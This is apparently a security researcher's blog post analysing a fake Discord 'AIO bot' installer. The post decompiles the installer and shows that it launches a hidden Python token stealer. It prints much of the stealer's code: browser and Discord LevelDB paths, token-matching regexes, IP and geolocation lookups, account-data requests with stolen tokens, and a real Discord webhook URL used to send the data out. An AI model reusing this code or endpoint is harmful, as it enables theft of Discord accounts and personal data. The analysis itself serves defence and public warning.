Reverse Engineering Malicious Bots
An interesting tweet by @m_chael showed that people are now sending mass Discord DM spam to entice people to download their bot. It should be common knowledge to never accept candy from strangers and that what sounds too good to be true probably is. With that being said, common sense isn't very common and this method of attack can be very lucrative for the attackers. In this blog post we will join the CrystalAIO discord and see exactly how these applications function.
NOTE: Never open these applications on your personal devices. All research was conducted inside a virtual machine.
Upon joining the Discord my initial thoughts are that it is fairly organized, messages seem to have a lot of support, and seem to operate like a normal bot Discord server would. A file attachment to the bot CrystalAIO_Setup.exe
is provided in the download channel for all members to download.
Time to Dig In
After running the installer it's time to take a peek into the directory and see if we can gather any other information on this application.
With a quick glance we can find some interesting things. For one, they left all debugging symbols bundled with the application. Secondly, the presence of WinForms.dll
files tell me that this is a .NET application. This means that with a tool like ILSpy we're able to decompile this application and take a deeper view at what's happening.
In this application there are only two classes. This in itself is pretty suspicious but it's possible that this application is only used to bootstrap the application and doesn't contain the core logic itself. Lucky for us, the application isn't obfuscated so we can see exactly what's happening.
With a quick scan of the Form2 class we find a function named frmLogin_Load
. Assuming this handles bot authentication, let's see if it does that.
private void frmLogin_Load(object sender, EventArgs e)
{
Process.Start("crystal_proxy.exe");
tbxKey.Location = new Point(checked(base.ClientSize.Width - tbxKey.Width) / 2, checked(unchecked(checked(base.ClientSize.Height - tbxKey.Height) / 2) + 35));
btnLogin.Location = new Point(checked(base.ClientSize.Width - btnLogin.Width) / 2, checked(unchecked(checked(base.ClientSize.Height - btnLogin.Height) / 2) + 100));
pbxLogo.Location = new Point(checked(base.ClientSize.Width - pbxLogo.Width) / 2, checked(unchecked(checked(base.ClientSize.Height - pbxLogo.Height) / 2) - 120));
checked
{
btnShow.Location = new Point(unchecked(checked(base.ClientSize.Width - btnShow.Width) / 2) + 220, unchecked(checked(base.ClientSize.Height - btnShow.Height) / 2) + 35);
savedPassword = MySettingsProperty.Settings.loginPassword;
tbxKey.Text = savedPassword;
tbxKey.UseSystemPasswordChar = true;
}
}
The first instruction of this function is a call to start an application named crystal_proxy.exe
. This is even more suspicious, but maybe this proxy handles the core logic? Let's take a look into crystal_proxy.
Running strings
over the application we're presented with some useful text:
Cannot open PyInstaller archive from executable (%s) or external archive (%s)
...
4python38.dll
From these strings we can gather that this application was packaged with PyInstaller and that it uses Python 3.8. This makes our life easier, we don't have to use a tool like Ghidra. Instead, we can use a tool from GitHub named pyinstxtractor by extremecoders-re to extract the pyc files from this binary.
C:\Users\L\Downloads\pyinstxtractor-master>python pyinstxtractor.py C:\Users\L\Downloads\crystal_proxy.exe
[+] Processing C:\Users\L\Downloads\crystal_proxy.exe
[+] Pyinstaller version: 2.1+
[+] Python version: 308
[+] Length of package: 10452549 bytes
[+] Found 59 files in CArchive
[+] Beginning extraction...please standby
[+] Possible entry point: pyiboot01_bootstrap.pyc
[+] Possible entry point: pyi_rth_pkgutil.pyc
[+] Possible entry point: pyi_rth_multiprocessing.pyc
[+] Possible entry point: pyi_rth_inspect.pyc
[+] Possible entry point: pyi_rth_subprocess.pyc
[+] Possible entry point: obj.pyc
[+] Found 483 files in PYZ archive
[+] Successfully extracted pyinstaller archive: C:\Users\L\Downloads\crystal_proxy.exe
The extraction was successful, the tool even tells us the possible entry points for the application. We can't quite open these pyc files in our text editor and get readable python as it's in bytecode form. The tool I used to try and deobfuscate this file is uncompyle6.
Running the decompiler over the file we're given an error:
# Deparsing stopped due to parse error
but the output file is still created!
# uncompyle6 version 3.8.0
# Python bytecode 3.8.0 (3413)
# Decompiled from: Python 3.8.0 (tags/v3.8.0:fa919fd, Oct 14 2019, 19:37:50) [MSC v.1916 64 bit (AMD64)]
# Embedded file name: obj.py
Instruction context:
->
L. 36 42 POP_EXCEPT
44 JUMP_FORWARD 48 'to 48'
46 END_FINALLY
Instruction context:
->
L. 68 54 POP_EXCEPT
56 JUMP_FORWARD 60 'to 60'
58 END_FINALLY
Instruction context:
L. 110 486 LOAD_FAST 'OOO00OO00OOO00000'
488 LOAD_METHOD append
490 LOAD_FAST 'OOOOO0OO0O00O0O00'
492 CALL_METHOD_1 1 ''
494 POP_TOP
496 JUMP_BACK 88 'to 88'
-> 498 JUMP_BACK 56 'to 56'
import json
from json import loads, dumps
from datetime import datetime
import requests, socket, os
from re import findall
import requests, subprocess
from base64 import b64decode
from dhooks import Webhook, File
from urllib.request import Request, urlopen
...
This isn't quite Python. Since the decompilation failed we're presented with a mix of Python and bytecode. This is fine, it doesn't take much knowledge of Python's bytecode to see that this file is malicious.
Less than 50 lines in we can see that the "bot" is grabbing the user's IP using ip-api as well as building the path to find the user's Discord token.
url = 'https://discord.com/api/webhooks/933857754131615764/BiN-Y4TicsqU0QDtRbFKcFf6oAptOA_7hvsOEaFiJfa2Tpy65gfqrR4RIWsUVG9Jrw8w'
host = socket.gethostname()
localip = socket.gethostbyname(host)
vpn = requests.get('http://ip-api.com/json?fields=proxy')
proxy = vpn.json()['proxy']
roaming = os.getenv('AppData')
output = open(roaming + 'temp.txt', 'a')
languages = {'en-US': 'English, United States'}
LOCAL = os.getenv('LOCALAPPDATA')
ROAMING = os.getenv('APPDATA')
PATHS = {'Discord':ROAMING + '\\Discord', 'Discord Canary':ROAMING + '\\discordcanary', 'Discord PTB':ROAMING + '\\discordptb', 'Google Chrome':LOCAL + '\\Google\\Chrome\\User Data\\Default', 'Opera':ROAMING + '\\Opera Software\\Opera Stable', 'Brave':LOCAL + '\\BraveSoftware\\Brave-Browser\\User Data\\Default', 'Yandex':LOCAL + '\\Yandex\\YandexBrowser\\User Data\\Default'}
One source for the user's IP address isn't enough so they use two! They also send themselves a nice convenient link to the user's geolocation using Google Maps.
def getip():
O0000OOO0O0OOOO00 = OO000OO000O0OO0O0 = O00O0OO00OOO00OOO = OO000OO0OO00000OO = OOOOOO0O00OO00000 = O0OO0OO00O00O0O00 = O0O000O0OO0OO0OOO = 'None'
try:
OO0O0O0O00OO00OOO = 'http://ipinfo.io/json'
OO0O0OOO0O00O00OO = urlopen(OO0O0O0O00OO00OOO)
OO000OOOOOOO00000 = json.load(OO0O0OOO0O00O00OO)
O0000OOO0O0OOOO00 = OO000OOOOOOO00000['ip']
OO000OO000O0OO0O0 = OO000OOOOOOO00000['org']
O00O0OO00OOO00OOO = OO000OOOOOOO00000['loc']
OO000OO0OO00000OO = OO000OOOOOOO00000['city']
OOOOOO0O00OO00000 = OO000OOOOOOO00000['country']
O0OO0OO00O00O0O00 = OO000OOOOOOO00000['region']
O0O000O0OO0OO0OOO = 'https://www.google.com/maps/search/google+map++' + O00O0OO00OOO00OOO
except:
pass
else:
return (
O0000OOO0O0OOOO00, OO000OO000O0OO0O0, O00O0OO00OOO00OOO, OO000OO0OO00000OO, OOOOOO0O00OO00000, O0OO0OO00O00O0O00, O0O000O0OO0OO0OOO)
To grab the victim's Discord tokens they use a regex over the browser's LevelDB files to check if a token is present. If it is, they append it to a list.
def gettokens(OOOOOO00O00OOOO0O):
OOOOOO00O00OOOO0O += '\\Local Storage\\leveldb'
O0O0OO00OO00O0000 = []
for O0000O00O0O0OO0OO in os.listdir(OOOOOO00O00OOOO0O):
if not (O0000O00O0O0OO0OO.endswith('.log') or O0000O00O0O0OO0OO.endswith('.ldb')):
pass
else:
for O0OO0O000000O00OO in [O0O0OOO0O0OO000OO.strip() for O0O0OOO0O0OO000OO in open(f"{OOOOOO00O00OOOO0O}\\{O0000O00O0O0OO0OO}", errors='ignore').readlines() if O0O0OOO0O0OO000OO.strip()]:
for OO00OOO0OO00OO000 in ('[\\w-]{24}\\.[\\w-]{6}\\.[\\w-]{27}', 'mfa\\.[\\w-]{84}'):
for O00O0OO0O0OO0O00O in findall(OO00OOO0OO00OO000, O0OO0O000000O00OO):
O0O0OO00OO00O0000.append(O00O0OO0O0OO0O00O)
else:
return O0O0OO00OO00O0000
Once presented with the token, the attacker can make a request to Discord's api/v6/users/@me
endpoint to provide themselves with additional user information.
def getuserdata--- This code section failed: ---
L. 33 0 SETUP_FINALLY 36 'to 36'
L. 34 2 LOAD_GLOBAL loads
4 LOAD_GLOBAL urlopen
6 LOAD_GLOBAL Request
8 LOAD_STR 'https://discordapp.com/api/v6/users/@me'
10 LOAD_GLOBAL getheaders
12 LOAD_FAST 'O0O0OOO00OO00O0OO'
14 CALL_FUNCTION_1 1 ''
16 LOAD_CONST ('headers',)
18 CALL_FUNCTION_KW_2 2 '2 total positional and keyword args'
20 CALL_FUNCTION_1 1 ''
22 LOAD_METHOD read
24 CALL_METHOD_0 0 ''
26 LOAD_METHOD decode
28 CALL_METHOD_0 0 ''
30 CALL_FUNCTION_1 1 ''
32 POP_BLOCK
34 RETURN_VALUE
36_0 COME_FROM_FINALLY 0 '0'
L. 35 36 POP_TOP
38 POP_TOP
40 POP_TOP
L. 36 42 POP_EXCEPT
44 JUMP_FORWARD 48 'to 48'
46 END_FINALLY
48_0 COME_FROM 44 '44'
L. 108 350 LOAD_GLOBAL bool
352 LOAD_GLOBAL has_payment_methods
354 LOAD_FAST 'OOOO00O000O000OO0'
356 CALL_FUNCTION_1 1 ''
358 CALL_FUNCTION_1 1 ''
360 STORE_FAST 'O00OOO00OOOO0O0O0'
L. 109 362 LOAD_CONST 10302677
364 LOAD_STR '```� GENERAL INFO �```'
366 LOAD_STR 'Email: '
368 LOAD_FAST 'OO00OOO0O0O0O0O00'
370 FORMAT_VALUE 0 ''
372 LOAD_STR '\nPhone Number: '
374 LOAD_FAST 'O0O0O000O0O000OO0'
376 FORMAT_VALUE 0 ''
378 LOAD_STR '\nNitro: '
380 LOAD_FAST 'O00OO000OO00O0O0O'
382 FORMAT_VALUE 0 ''
384 LOAD_STR '\nBilling: '
386 LOAD_FAST 'O00OOO00OOOO0O0O0'
388 FORMAT_VALUE 0 ''
390 LOAD_STR '\n2FA/MFA: '
392 LOAD_FAST 'O00OO00OO0OOO0O0O'
394 FORMAT_VALUE 0 ''
396 BUILD_STRING_10 10
398 LOAD_CONST True
400 LOAD_CONST ('name', 'value', 'inline')
402 BUILD_CONST_KEY_MAP_3 3
404 LOAD_STR '```� MORE INFO �```'
406 LOAD_STR 'IP: '
408 LOAD_FAST 'O00O0O000OO000O00'
410 FORMAT_VALUE 0 ''
412 LOAD_STR '\nPlatform: '
414 LOAD_FAST 'O0O00OO00O00000OO'
416 FORMAT_VALUE 0 ''
418 LOAD_STR '\nEmail: '
420 LOAD_FAST 'OOOOOO0OO0O0OOOO0'
422 FORMAT_VALUE 0 ''
424 LOAD_STR '\nCreated: '
426 LOAD_FAST 'O0OOO00000O0OOOO0'
428 FORMAT_VALUE 0 ''
430 LOAD_STR '\nVPN: '
432 LOAD_GLOBAL proxy
This includes phone number, whether the account has Discord Nitro, 2fa, email, etc...
Once all the information is gathered, it is sent to the attackers via Discord Webhooks.
{
"content": ".",
"embeds": [
{
"color": 10302677,
"fields": [
{
"name": "— GENERAL INFO —",
"value": "Email: [REDACTED]\nPhone Number: None\nNitro: False\nBilling: False\n2FA/MFA: False",
"inline": true
},
{
"name": "— MORE INFO —",
"value": "IP: [REDACTED]\nPlatform: Firefox\nEmail: True\nCreated: 11-02-2019 12:34:11 UTC\nVPN: True",
"inline": true
},
{
"name": "**TOKEN**",
"value": "[REDACTED]"
}
],
"author": {
"name": "[REDACTED]#1234 ([Discord Account Snowflake])"
},
"footer": {
"text": "George Development"
}
}
],
"username": "George's Sperm Bank",
"avatar_url": "https://i.imgur.com/pHQ27Av.png"
}
Rendering out the webhook we can see what it'd look like in their hidden channel:
With your Discord token an attacker can gain full access to your account. This is likely how they're able to receive many positive reactions on their fake announcements and how they're able to obtain 15 boosts on the server. It is likely that they use these accounts to send more mass DM spam to members in servers that the victim is already inside.
One interesting thing to note is that the application's description is EasyNFTs
. It is likely that this is the same malicious application renamed.
Does The Bot Actually Work?
We're inside a virtual machine so fuck it, let's run it.
We're given a login screen upon opening the bot. Note that at by this point, the Discord account stealing has already begun. Trying the password password123
doesn't seem to work either so there must be some sort of authentication. Back to ILSpy.
Oh nice, if the key length is 30, show the other form, otherwise, the key is invalid. Let's try a random 30 character string as the key.
We're In!
In short, the bot doesn't work. The application is poorly designed and doesn't even make sense from a UI standpoint.
A quick look at the Form1
class confirms us that the bot does nothing
TL;DR
Don't click random links from strangers. If it sounds too good to be true it probably is.